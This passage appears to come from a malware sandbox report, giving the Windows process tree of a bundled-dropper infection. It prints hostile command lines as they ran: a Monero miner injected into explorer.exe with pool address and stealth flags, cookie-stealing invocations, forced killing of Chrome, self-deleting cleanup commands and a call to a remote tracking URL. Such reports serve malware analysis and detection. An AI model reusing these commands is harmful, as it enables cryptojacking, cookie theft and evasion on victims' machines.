"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pcnpnd3h.aus\BarSetpFile.exe /silent & exit
15⤵
PID:6300

C:\Users\Admin\AppData\Local\Temp\pcnpnd3h.aus\BarSetpFile.exe
C:\Users\Admin\AppData\Local\Temp\pcnpnd3h.aus\BarSetpFile.exe /silent
16⤵
PID:5284

C:\ProgramData\904889.exe
"C:\ProgramData\904889.exe"
17⤵
PID:7688

C:\ProgramData\4603128.exe
"C:\ProgramData\4603128.exe"
17⤵
PID:7748

C:\ProgramData\6015490.exe
"C:\ProgramData\6015490.exe"
17⤵
PID:7812

C:\ProgramData\6015490.exe
"{path}"
18⤵
PID:4268

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cputjuyn.vxj\askinstall31.exe & exit
15⤵
PID:5808

C:\Users\Admin\AppData\Local\Temp\cputjuyn.vxj\askinstall31.exe
C:\Users\Admin\AppData\Local\Temp\cputjuyn.vxj\askinstall31.exe
16⤵
PID:6412

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
17⤵
PID:8136

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
18⤵
- Kills process with taskkill
PID:4480

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kzm2po3p.4ze\toolspab1.exe & exit
15⤵
PID:7296

C:\Users\Admin\AppData\Local\Temp\kzm2po3p.4ze\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\kzm2po3p.4ze\toolspab1.exe
16⤵
PID:7624

C:\Users\Admin\AppData\Local\Temp\kzm2po3p.4ze\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\kzm2po3p.4ze\toolspab1.exe
17⤵
PID:7976

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\segeiuuo.j3o\GcleanerWW.exe /mixone & exit
15⤵
PID:7572

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
11⤵
PID:2604

C:\Users\Admin\AppData\Local\Temp\is-EBJ89.tmp\lylal220.tmp
"C:\Users\Admin\AppData\Local\Temp\is-EBJ89.tmp\lylal220.tmp" /SL5="$1049A,298214,214528,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
12⤵
PID:5940

C:\Users\Admin\AppData\Local\Temp\is-2NGDM.tmp\ysAGEL.exe
"C:\Users\Admin\AppData\Local\Temp\is-2NGDM.tmp\ysAGEL.exe" /S /UID=lylal220
13⤵
PID:6600

C:\Program Files\Windows Mail\NLPGMBXRQM\irecord.exe
"C:\Program Files\Windows Mail\NLPGMBXRQM\irecord.exe" /VERYSILENT
14⤵
PID:7040

C:\Users\Admin\AppData\Local\Temp\is-N9EFE.tmp\irecord.tmp
"C:\Users\Admin\AppData\Local\Temp\is-N9EFE.tmp\irecord.tmp" /SL5="$403CC,5922518,66560,C:\Program Files\Windows Mail\NLPGMBXRQM\irecord.exe" /VERYSILENT
15⤵
PID:6348

C:\Program Files (x86)\i-record\i-record.exe
"C:\Program Files (x86)\i-record\i-record.exe" -silent -desktopShortcut -programMenu
16⤵
PID:4848

C:\Users\Admin\AppData\Local\Temp\57-e073d-148-8468c-407a6fefcbec8\Jozhitagoqi.exe
"C:\Users\Admin\AppData\Local\Temp\57-e073d-148-8468c-407a6fefcbec8\Jozhitagoqi.exe"
14⤵
PID:3168

C:\Users\Admin\AppData\Local\Temp\e9-4f70c-98a-d3296-e754329726cd8\Fabalihaewae.exe
"C:\Users\Admin\AppData\Local\Temp\e9-4f70c-98a-d3296-e754329726cd8\Fabalihaewae.exe"
14⤵
PID:4992

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\scncvdi4.guw\gaooo.exe & exit
15⤵
PID:5124

C:\Users\Admin\AppData\Local\Temp\scncvdi4.guw\gaooo.exe
C:\Users\Admin\AppData\Local\Temp\scncvdi4.guw\gaooo.exe
16⤵
PID:6692

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
17⤵
PID:3076

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
17⤵
PID:6688

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5exwehxo.bo1\google-game.exe & exit
15⤵
PID:4184

C:\Users\Admin\AppData\Local\Temp\5exwehxo.bo1\google-game.exe
C:\Users\Admin\AppData\Local\Temp\5exwehxo.bo1\google-game.exe
16⤵
PID:6684

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\pdfsetup.dll",install
17⤵
PID:4264

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\eswpmcpo.n4s\BarSetpFile.exe /silent & exit
15⤵
PID:5476

C:\Users\Admin\AppData\Local\Temp\eswpmcpo.n4s\BarSetpFile.exe
C:\Users\Admin\AppData\Local\Temp\eswpmcpo.n4s\BarSetpFile.exe /silent
16⤵
PID:6324

C:\ProgramData\3760019.exe
"C:\ProgramData\3760019.exe"
17⤵
PID:8008

C:\ProgramData\4230806.exe
"C:\ProgramData\4230806.exe"
17⤵
PID:8088

C:\ProgramData\2916206.exe
"C:\ProgramData\2916206.exe"
17⤵
PID:3076

C:\ProgramData\2916206.exe
"{path}"
18⤵
PID:3156

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hzywcszs.1wn\askinstall31.exe & exit
15⤵
PID:4556

C:\Users\Admin\AppData\Local\Temp\hzywcszs.1wn\askinstall31.exe
C:\Users\Admin\AppData\Local\Temp\hzywcszs.1wn\askinstall31.exe
16⤵
PID:7396

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wyyrxdtk.ns3\toolspab1.exe & exit
15⤵
PID:7432

C:\Users\Admin\AppData\Local\Temp\wyyrxdtk.ns3\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\wyyrxdtk.ns3\toolspab1.exe
16⤵
PID:7740

C:\Users\Admin\AppData\Local\Temp\wyyrxdtk.ns3\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\wyyrxdtk.ns3\toolspab1.exe
17⤵
PID:8044

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\we12jbcx.cvr\GcleanerWW.exe /mixone & exit
15⤵
PID:7920

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Raw4vpn.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Raw4vpn.exe"
11⤵
PID:4908

C:\Windows\SysWOW64\dllhost.exe
"C:\Windows\System32\dllhost.exe"
12⤵
PID:6716

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Congiunte.vstx
12⤵
PID:6828

C:\Windows\SysWOW64\cmd.exe
C:\Windows\System32\cmd.exe
13⤵
PID:5536

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe"
11⤵
PID:5504

C:\Users\Admin\AppData\Local\Temp\LQCCKQ119U\multitimer.exe
"C:\Users\Admin\AppData\Local\Temp\LQCCKQ119U\multitimer.exe" 0 306065bb10421b26.04333812 0 103
12⤵
PID:6536

C:\Users\Admin\AppData\Local\Temp\LQCCKQ119U\multitimer.exe
"C:\Users\Admin\AppData\Local\Temp\LQCCKQ119U\multitimer.exe" 1 3.1618144897.6072ee813f2a4 103
13⤵
PID:4172

C:\Users\Admin\AppData\Local\Temp\LQCCKQ119U\multitimer.exe
"C:\Users\Admin\AppData\Local\Temp\LQCCKQ119U\multitimer.exe" 2 3.1618144897.6072ee813f2a4
14⤵
PID:4448

C:\Users\Admin\AppData\Local\Temp\hf5s4ygg03k\Setup3310.exe
"C:\Users\Admin\AppData\Local\Temp\hf5s4ygg03k\Setup3310.exe" /Verysilent /subid=577
15⤵
PID:4396

C:\Users\Admin\AppData\Local\Temp\is-8IICJ.tmp\Setup3310.tmp
"C:\Users\Admin\AppData\Local\Temp\is-8IICJ.tmp\Setup3310.tmp" /SL5="$502B6,138429,56832,C:\Users\Admin\AppData\Local\Temp\hf5s4ygg03k\Setup3310.exe" /Verysilent /subid=577
16⤵
PID:4152

C:\Users\Admin\AppData\Local\Temp\is-2NUR6.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-2NUR6.tmp\Setup.exe" /Verysilent
17⤵
PID:4792

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe"
18⤵
PID:4352

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
19⤵
PID:4348

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
19⤵
PID:3804

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe"
18⤵
PID:4648

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
19⤵
PID:7232

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
20⤵
PID:7312

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe"
18⤵
PID:7620

C:\Users\Admin\AppData\Local\Temp\OJGA8HQ06E\multitimer.exe
"C:\Users\Admin\AppData\Local\Temp\OJGA8HQ06E\multitimer.exe" 0 306065bb10421b26.04333812 0 103
19⤵
PID:6576

C:\Users\Admin\AppData\Local\Temp\OJGA8HQ06E\multitimer.exe
"C:\Users\Admin\AppData\Local\Temp\OJGA8HQ06E\multitimer.exe" 1 3.1618144958.6072eebec1e74 103
20⤵
PID:5768

C:\Users\Admin\AppData\Local\Temp\OJGA8HQ06E\multitimer.exe
"C:\Users\Admin\AppData\Local\Temp\OJGA8HQ06E\multitimer.exe" 2 3.1618144958.6072eebec1e74
21⤵
PID:7344

C:\Users\Admin\AppData\Local\Temp\d4a0bfvocuo\app.exe
"C:\Users\Admin\AppData\Local\Temp\d4a0bfvocuo\app.exe" /8-23
22⤵
PID:5416

C:\Users\Admin\AppData\Local\Temp\cpog5aq2yju\Setup3310.exe
"C:\Users\Admin\AppData\Local\Temp\cpog5aq2yju\Setup3310.exe" /Verysilent /subid=577
22⤵
PID:8156

C:\Users\Admin\AppData\Local\Temp\is-57IOP.tmp\Setup3310.tmp
"C:\Users\Admin\AppData\Local\Temp\is-57IOP.tmp\Setup3310.tmp" /SL5="$205B4,138429,56832,C:\Users\Admin\AppData\Local\Temp\cpog5aq2yju\Setup3310.exe" /Verysilent /subid=577
23⤵
PID:7668

C:\Users\Admin\AppData\Local\Temp\qwxh5sivexs\ef4whcgby1c.exe
"C:\Users\Admin\AppData\Local\Temp\qwxh5sivexs\ef4whcgby1c.exe" /ustwo INSTALL
22⤵
PID:7104

C:\Users\Admin\AppData\Local\Temp\DYXET21WCK\setups.exe
"C:\Users\Admin\AppData\Local\Temp\DYXET21WCK\setups.exe" ll
19⤵
PID:8132

C:\Users\Admin\AppData\Local\Temp\is-U6U1R.tmp\setups.tmp
"C:\Users\Admin\AppData\Local\Temp\is-U6U1R.tmp\setups.tmp" /SL5="$703DE,1954051,156160,C:\Users\Admin\AppData\Local\Temp\DYXET21WCK\setups.exe" ll
20⤵
PID:8152

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\92XKY6JB65b5.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\92XKY6JB65b5.exe"
18⤵
PID:6268

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
19⤵
PID:4764

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
19⤵
PID:6872

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\vlcplayer.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\vlcplayer.exe"
18⤵
PID:6744

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\JoSetp.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\JoSetp.exe"
18⤵
PID:7184

C:\ProgramData\4605033.exe
"C:\ProgramData\4605033.exe"
19⤵
PID:7332

C:\ProgramData\5075820.exe
"C:\ProgramData\5075820.exe"
19⤵
PID:5564

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Raw4vpn.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Raw4vpn.exe"
18⤵
PID:8052

C:\Windows\SysWOW64\dllhost.exe
"C:\Windows\System32\dllhost.exe"
19⤵
PID:2684

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Congiunte.vstx
19⤵
PID:4760

C:\Windows\SysWOW64\cmd.exe
C:\Windows\System32\cmd.exe
20⤵
PID:2168

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
18⤵
PID:5676

C:\Users\Admin\AppData\Local\Temp\is-74EQH.tmp\lylal220.tmp
"C:\Users\Admin\AppData\Local\Temp\is-74EQH.tmp\lylal220.tmp" /SL5="$204BE,298214,214528,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
19⤵
PID:2980

C:\Users\Admin\AppData\Local\Temp\is-8642U.tmp\ysAGEL.exe
"C:\Users\Admin\AppData\Local\Temp\is-8642U.tmp\ysAGEL.exe" /S /UID=lylal220
20⤵
PID:7372

C:\Users\Admin\AppData\Local\Temp\cc-0cfa4-6bb-4fa9d-f51e2027ccb50\Paekusydaepe.exe
"C:\Users\Admin\AppData\Local\Temp\cc-0cfa4-6bb-4fa9d-f51e2027ccb50\Paekusydaepe.exe"
21⤵
PID:7004

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vcb5g3mx.ocl\gaooo.exe & exit
22⤵
PID:2980

C:\Users\Admin\AppData\Local\Temp\vcb5g3mx.ocl\gaooo.exe
C:\Users\Admin\AppData\Local\Temp\vcb5g3mx.ocl\gaooo.exe
23⤵
PID:5604

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
24⤵
PID:6936

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cch523kk.41g\google-game.exe & exit
22⤵
PID:2696

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
18⤵
PID:5652

C:\Users\Admin\AppData\Local\Temp\is-NU6MN.tmp\LabPicV3.tmp
"C:\Users\Admin\AppData\Local\Temp\is-NU6MN.tmp\LabPicV3.tmp" /SL5="$6037A,136934,53248,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
19⤵
PID:7484

C:\Users\Admin\AppData\Local\Temp\is-4V4I5.tmp\alpATCHInO.exe
"C:\Users\Admin\AppData\Local\Temp\is-4V4I5.tmp\alpATCHInO.exe" /S /UID=lab214
20⤵
PID:3580

C:\Users\Admin\AppData\Local\Temp\6f-0fd12-316-a7ca3-b3ee200ba23b2\Paekusydaepe.exe
"C:\Users\Admin\AppData\Local\Temp\6f-0fd12-316-a7ca3-b3ee200ba23b2\Paekusydaepe.exe"
21⤵
PID:6820

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dc4fr4f5.qlv\gaooo.exe & exit
22⤵
PID:4648

C:\Users\Admin\AppData\Local\Temp\dc4fr4f5.qlv\gaooo.exe
C:\Users\Admin\AppData\Local\Temp\dc4fr4f5.qlv\gaooo.exe
23⤵
PID:5460

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
24⤵
PID:5532

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\30ewn4ww.dks\google-game.exe & exit
22⤵
PID:5404

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe"
18⤵
PID:7528

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe"
18⤵
PID:7480

C:\Users\Admin\AppData\Roaming\Programma configurater\viqconf.exe
"C:\Users\Admin\AppData\Roaming\Programma configurater\viqconf.exe"
19⤵
PID:1832

C:\Users\Admin\AppData\Roaming\Programma configurater\viqconf.exe
"C:\Users\Admin\AppData\Roaming\Programma configurater\viqconf.exe"
20⤵
PID:5776

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im viqconf.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Roaming\Programma configurater\viqconf.exe" & del C:\ProgramData\*.dll & exit
21⤵
PID:5864

C:\Windows\SysWOW64\taskkill.exe
taskkill /im viqconf.exe /f
22⤵
- Kills process with taskkill
PID:5452

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
22⤵
- Delays execution with timeout.exe
PID:6704

C:\Users\Admin\AppData\Local\Temp\xyzf44zexyd\0jyxlyp1isz.exe
"C:\Users\Admin\AppData\Local\Temp\xyzf44zexyd\0jyxlyp1isz.exe" /ustwo INSTALL
15⤵
PID:6124

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "0jyxlyp1isz.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\xyzf44zexyd\0jyxlyp1isz.exe" & exit
16⤵
PID:5528

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "0jyxlyp1isz.exe" /f
17⤵
- Kills process with taskkill
PID:4836

C:\Users\Admin\AppData\Local\Temp\pvdoasqtzzb\app.exe
"C:\Users\Admin\AppData\Local\Temp\pvdoasqtzzb\app.exe" /8-23
15⤵
PID:4748

C:\Users\Admin\AppData\Local\Temp\pvdoasqtzzb\app.exe
"C:\Users\Admin\AppData\Local\Temp\pvdoasqtzzb\app.exe" /8-23
16⤵
PID:6416

C:\Users\Admin\AppData\Local\Temp\jbdwvijeqq0\vpn.exe
"C:\Users\Admin\AppData\Local\Temp\jbdwvijeqq0\vpn.exe" /silent /subid=482
15⤵
PID:208

C:\Users\Admin\AppData\Local\Temp\is-8N4N1.tmp\vpn.tmp
"C:\Users\Admin\AppData\Local\Temp\is-8N4N1.tmp\vpn.tmp" /SL5="$302A4,15170975,270336,C:\Users\Admin\AppData\Local\Temp\jbdwvijeqq0\vpn.exe" /silent /subid=482
16⤵
PID:7000

C:\Users\Admin\AppData\Local\Temp\8HB6QDG29A\setups.exe
"C:\Users\Admin\AppData\Local\Temp\8HB6QDG29A\setups.exe" ll
12⤵
PID:6620

C:\Users\Admin\AppData\Local\Temp\is-76SON.tmp\setups.tmp
"C:\Users\Admin\AppData\Local\Temp\is-76SON.tmp\setups.tmp" /SL5="$302F0,1954051,156160,C:\Users\Admin\AppData\Local\Temp\8HB6QDG29A\setups.exe" ll
13⤵
PID:5500

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\JoSetp.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\JoSetp.exe"
11⤵
PID:820

C:\ProgramData\1497425.exe
"C:\ProgramData\1497425.exe"
12⤵
PID:6960

C:\ProgramData\1968212.exe
"C:\ProgramData\1968212.exe"
12⤵
PID:7052

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\92XKY6JB65b5.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\92XKY6JB65b5.exe"
11⤵
PID:4552

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
12⤵
PID:6200

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\vlcplayer.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\vlcplayer.exe"
11⤵
PID:5012

C:\Users\Admin\AppData\Local\Temp\Services.exe
"C:\Users\Admin\AppData\Local\Temp\Services.exe"
12⤵
PID:2268

C:\Windows\explorer.exe
C:\Windows\explorer.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:14433 --user=42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s --pass= --cpu-max-threads-hint=50 --donate-level=5 --unam-idle-wait=7 --unam-idle-cpu=70 --tls --unam-stealth
13⤵
PID:6596

C:\Users\Admin\AppData\Local\Temp\lweypn3n1jf\0zzmbh4suff.exe
"C:\Users\Admin\AppData\Local\Temp\lweypn3n1jf\0zzmbh4suff.exe"
8⤵
PID:4820

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\lweypn3n1jf\0zzmbh4suff.exe"
9⤵
PID:5380

C:\Windows\SysWOW64\PING.EXE
ping 1.1.1.1 -n 1 -w 3000
10⤵
- Runs ping.exe
PID:5476

C:\Users\Admin\AppData\Local\Temp\jgqjlr3uzrr\vpn.exe
"C:\Users\Admin\AppData\Local\Temp\jgqjlr3uzrr\vpn.exe" /silent /subid=482
8⤵
PID:4296

C:\Users\Admin\AppData\Local\Temp\is-GMUBJ.tmp\vpn.tmp
"C:\Users\Admin\AppData\Local\Temp\is-GMUBJ.tmp\vpn.tmp" /SL5="$302B2,15170975,270336,C:\Users\Admin\AppData\Local\Temp\jgqjlr3uzrr\vpn.exe" /silent /subid=482
9⤵
PID:2616

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
10⤵
PID:5404

C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
tapinstall.exe remove tap0901
11⤵
PID:6040

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
10⤵
PID:5564

C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
tapinstall.exe install OemVista.inf tap0901
11⤵
PID:6504

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
10⤵
PID:5016

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
10⤵
PID:5528

C:\Users\Admin\AppData\Local\Temp\2fd3entge5s\app.exe
"C:\Users\Admin\AppData\Local\Temp\2fd3entge5s\app.exe" /8-23
8⤵
PID:5164

C:\Users\Admin\AppData\Local\Temp\2fd3entge5s\app.exe
"C:\Users\Admin\AppData\Local\Temp\2fd3entge5s\app.exe" /8-23
9⤵
PID:6852

C:\Users\Admin\AppData\Local\Temp\5waxfwk2wve\IBInstaller_97039.exe
"C:\Users\Admin\AppData\Local\Temp\5waxfwk2wve\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
8⤵
PID:5252

C:\Users\Admin\AppData\Local\Temp\is-DAURE.tmp\IBInstaller_97039.tmp
"C:\Users\Admin\AppData\Local\Temp\is-DAURE.tmp\IBInstaller_97039.tmp" /SL5="$40394,10084460,721408,C:\Users\Admin\AppData\Local\Temp\5waxfwk2wve\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
9⤵
PID:5300

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c start http://leatherclothesone.xyz/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
10⤵
PID:5500

C:\Users\Admin\AppData\Local\Temp\is-T6RPA.tmp\{app}\vdi_compiler.exe
"C:\Users\Admin\AppData\Local\Temp\is-T6RPA.tmp\{app}\vdi_compiler"
10⤵
PID:5584

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-T6RPA.tmp\{app}\vdi_compiler.exe"
11⤵
PID:4360

C:\Windows\SysWOW64\PING.EXE
ping localhost -n 4
12⤵
- Runs ping.exe
PID:6948

C:\Users\Admin\AppData\Local\Temp\p320crmkz1y\vva2xq44111.exe
"C:\Users\Admin\AppData\Local\Temp\p320crmkz1y\vva2xq44111.exe" /quiet SILENT=1 AF=756
8⤵
PID:5320

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\p320crmkz1y\vva2xq44111.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\p320crmkz1y\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1617885338 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"
9⤵
PID:4588

C:\Users\Admin\AppData\Local\Temp\5LIRUUW69F\setups.exe
"C:\Users\Admin\AppData\Local\Temp\5LIRUUW69F\setups.exe" ll
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2600

C:\Users\Admin\AppData\Local\Temp\is-S4FU7.tmp\setups.tmp
"C:\Users\Admin\AppData\Local\Temp\is-S4FU7.tmp\setups.tmp" /SL5="$501D4,1954051,156160,C:\Users\Admin\AppData\Local\Temp\5LIRUUW69F\setups.exe" ll
6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2844

C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Version.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Version.exe"
4⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3840

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Program Files\unins0000.vbs"
5⤵
- Suspicious use of WriteProcessMemory
PID:4200

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
6⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4352

C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"
4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:4256

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
5⤵
PID:2412

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
